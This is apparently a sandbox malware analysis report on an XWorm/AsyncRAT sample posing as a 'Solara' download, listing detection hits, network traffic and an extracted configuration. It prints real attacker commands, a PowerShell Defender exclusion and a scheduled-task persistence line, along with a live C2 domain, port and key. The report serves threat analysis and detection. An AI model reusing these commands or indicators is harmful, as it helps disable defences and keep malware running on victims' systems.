2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1061b:$s6: VirtualBox 0x10579:$s8: Win32_ComputerSystem 0x12a7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12b1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12c2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x12179:$cnc4: POST / HTTP/1.1
2.3.YgJ5inWPQO.exe.1d8a969d430.2.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.3.YgJ5inWPQO.exe.1d8a969d430.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.3.YgJ5inWPQO.exe.1d8a969d430.6.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.3.YgJ5inWPQO.exe.1d8a969d430.2.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1061b:$s6: VirtualBox 0x10579:$s8: Win32_ComputerSystem 0x12a7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12b1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12c2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x12179:$cnc4: POST / HTTP/1.1
2.3.YgJ5inWPQO.exe.1d8a969d430.6.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xe81b:$s6: VirtualBox 0xe779:$s8: Win32_ComputerSystem 0x10c7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x10d1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10e2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10379:$cnc4: POST / HTTP/1.1
12.0.msedge.exe.3d0000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
12.0.msedge.exe.3d0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.0.msedge.exe.3d0000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1061b:$s6: VirtualBox 0x10579:$s8: Win32_ComputerSystem 0x12a7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12b1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12c2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x12179:$cnc4: POST / HTTP/1.1
2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1061b:$s6: VirtualBox 0x10579:$s8: Win32_ComputerSystem 0x12a7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12b1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12c2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x12179:$cnc4: POST / HTTP/1.1
2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1061b:$s6: VirtualBox 0x10579:$s8: Win32_ComputerSystem 0x12a7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12b1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12c2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x12179:$cnc4: POST / HTTP/1.1
Click to see the 34 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\msedge.exe, ParentImage: C:\Users\user\AppData\Local\Temp\msedge.exe, ParentProcessId: 5560, ParentProcessName: msedge.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', ProcessId: 4932, ProcessName: powershell.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\msedge.exe, ParentImage: C:\Users\user\AppData\Local\Temp\msedge.exe, ParentProcessId: 5560, ParentProcessName: msedge.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', ProcessId: 4932, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\msedge.exe, ParentImage: C:\Users\user\AppData\Local\Temp\msedge.exe, ParentProcessId: 5560, ParentProcessName: msedge.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', ProcessId: 4932, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\msedge.exe, ParentImage: C:\Users\user\AppData\Local\Temp\msedge.exe, ParentProcessId: 5560, ParentProcessName: msedge.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', ProcessId: 4932, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\System User.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\msedge.exe, ProcessId: 5560, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System User

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\msedge.exe, ProcessId: 5560, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\user\AppData\Roaming\System User.exe", CommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\user\AppData\Roaming\System User.exe", CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\msedge.exe, ParentImage: C:\Users\user\AppData\Local\Temp\msedge.exe, ParentProcessId: 5560, ParentProcessName: msedge.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\user\AppData\Roaming\System User.exe", ProcessId: 7792, ProcessName: schtasks.exe

Sigma detected: Suspicious Electron Application Child Processes

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\msedge.exe, ParentImage: C:\Users\user\AppData\Local\Temp\msedge.exe, ParentProcessId: 5560, ParentProcessName: msedge.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', ProcessId: 4932, ProcessName: powershell.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\msedge.exe, ParentImage: C:\Users\user\AppData\Local\Temp\msedge.exe, ParentProcessId: 5560, ParentProcessName: msedge.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe', ProcessId: 4932, ProcessName: powershell.exe

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: "cmd" /c ipconfig /all, CommandLine: "cmd" /c ipconfig /all, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\dddd.exe, ParentImage: C:\Users\user\AppData\Local\Temp\dddd.exe, ParentProcessId: 6476, ParentProcessName: dddd.exe, ProcessCommandLine: "cmd" /c ipconfig /all, ProcessId: 5012, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T19:03:21.950129+0100	2803305	3	Unknown Traffic	192.168.2.8	49707	104.21.93.27	443	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T19:05:22.723190+0100	2855924	1	Malware Command and Control Activity Detected	192.168.2.8	49838	147.185.221.18	35710	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Avira: detection malicious, Label: TR/Spy.Gen
Source: C:\Users\user\AppData\Roaming\System User.exe	Avira: detection malicious, Label: TR/Spy.Gen

Found malware configuration

Source: 0000000C.00000002.2742589628.0000000002601000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["hope-asia.gl.at.ply.gg"], "Port": 35710, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\dddd.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Roaming\System User.exe	ReversingLabs: Detection: 81%

Multi AV Scanner detection for submitted file

Source: YgJ5inWPQO.exe

ReversingLabs: Detection: 26%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\System User.exe	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.unpack	String decryptor: hope-asia.gl.at.ply.gg
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.unpack	String decryptor: 35710
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.unpack	String decryptor: <123456789>
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.unpack	String decryptor: <Xwormmm>
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.unpack	String decryptor: FakeSolara?
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.unpack	String decryptor: USB.exe
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.unpack	String decryptor: %AppData%
Source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.unpack	String decryptor: System User.exe

Source: unknown	HTTPS traffic detected: 104.21.93.27:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.27:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 128.116.123.3:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.22.46:443 -> 192.168.2.8:49709 version: TLS 1.2

Source: YgJ5inWPQO.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: YgJ5inWPQO.exe, 00000000.00000003.1471950558.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: YgJ5inWPQO.exe, 00000000.00000003.1472115949.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: YgJ5inWPQO.exe, 00000000.00000003.1464730716.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.pdbI source: dddd.exe, 0000000E.00000002.1744595376.000002624C77F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: dddd.exe, 0000000E.00000002.1731703513.0000026234332000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: YgJ5inWPQO.exe, 00000000.00000003.1464879729.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: dddd.exe, 0000000E.00000002.1744595376.000002624C710000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: YgJ5inWPQO.exe, 00000000.00000003.1464879729.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: YgJ5inWPQO.exe, 00000000.00000003.1463949860.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: YgJ5inWPQO.exe, 00000000.00000003.1463734787.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: YgJ5inWPQO.exe, 00000000.00000003.1463734787.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: YgJ5inWPQO.exe, 00000000.00000003.1465060554.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python313.pdb source: YgJ5inWPQO.exe, 00000002.00000002.1499325131.00007FFBAACA9000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb source: dddd.exe, 0000000E.00000002.1744595376.000002624C7A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: dddd.exe, 0000000E.00000002.1731703513.0000026234332000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5883B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF7FF5883B0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5892F0 FindFirstFileExW,FindClose,	0_2_00007FF7FF5892F0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 0_2_00007FF7FF5A18E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF7FF5A18E4
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5892F0 FindFirstFileExW,FindClose,	2_2_00007FF7FF5892F0
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5A18E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00007FF7FF5A18E4
Source: C:\Users\user\Desktop\YgJ5inWPQO.exe	Code function: 2_2_00007FF7FF5883B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	2_2_00007FF7FF5883B0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.8:49838 -> 147.185.221.18:35710

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: hope-asia.gl.at.ply.gg

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 147.185.221.18 ports 0,1,3,35710,5,7

Yara detected Generic Downloader

Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.msedge.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Roaming\System User.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\msedge.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.8:49723 -> 147.185.221.18:35710

Source: global traffic	HTTP traffic detected: GET /asset/discord.json HTTP/1.1Host: getsolara.devConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/endpoint.json HTTP/1.1Host: getsolara.dev
Source: global traffic	HTTP traffic detected: GET /v2/client-version/WindowsPlayer/channel/live HTTP/1.1Host: clientsettings.roblox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dist/v18.16.0/node-v18.16.0-x64.msi HTTP/1.1Host: www.nodejs.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ip-api.com

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49707 -> 104.21.93.27:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /asset/discord.json HTTP/1.1Host: getsolara.devConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/endpoint.json HTTP/1.1Host: getsolara.dev
Source: global traffic	HTTP traffic detected: GET /v2/client-version/WindowsPlayer/channel/live HTTP/1.1Host: clientsettings.roblox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dist/v18.16.0/node-v18.16.0-x64.msi HTTP/1.1Host: www.nodejs.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: getsolara.dev
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: clientsettings.roblox.com
Source: global traffic	DNS traffic detected: DNS query: www.nodejs.org
Source: global traffic	DNS traffic detected: DNS query: nodejs.org
Source: global traffic	DNS traffic detected: DNS query: hope-asia.gl.at.ply.gg

Source: dddd.exe, 0000000E.00000002.1731703513.000002623414E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:6463
Source: dddd.exe, 0000000E.00000002.1731703513.0000026234051000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.000002623414E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:6463/rpc?v=1
Source: dddd.exe, 0000000E.00000002.1731703513.000002623414E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:64632
Source: YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF8000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: YgJ5inWPQO.exe, 00000000.00000003.1466452629.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
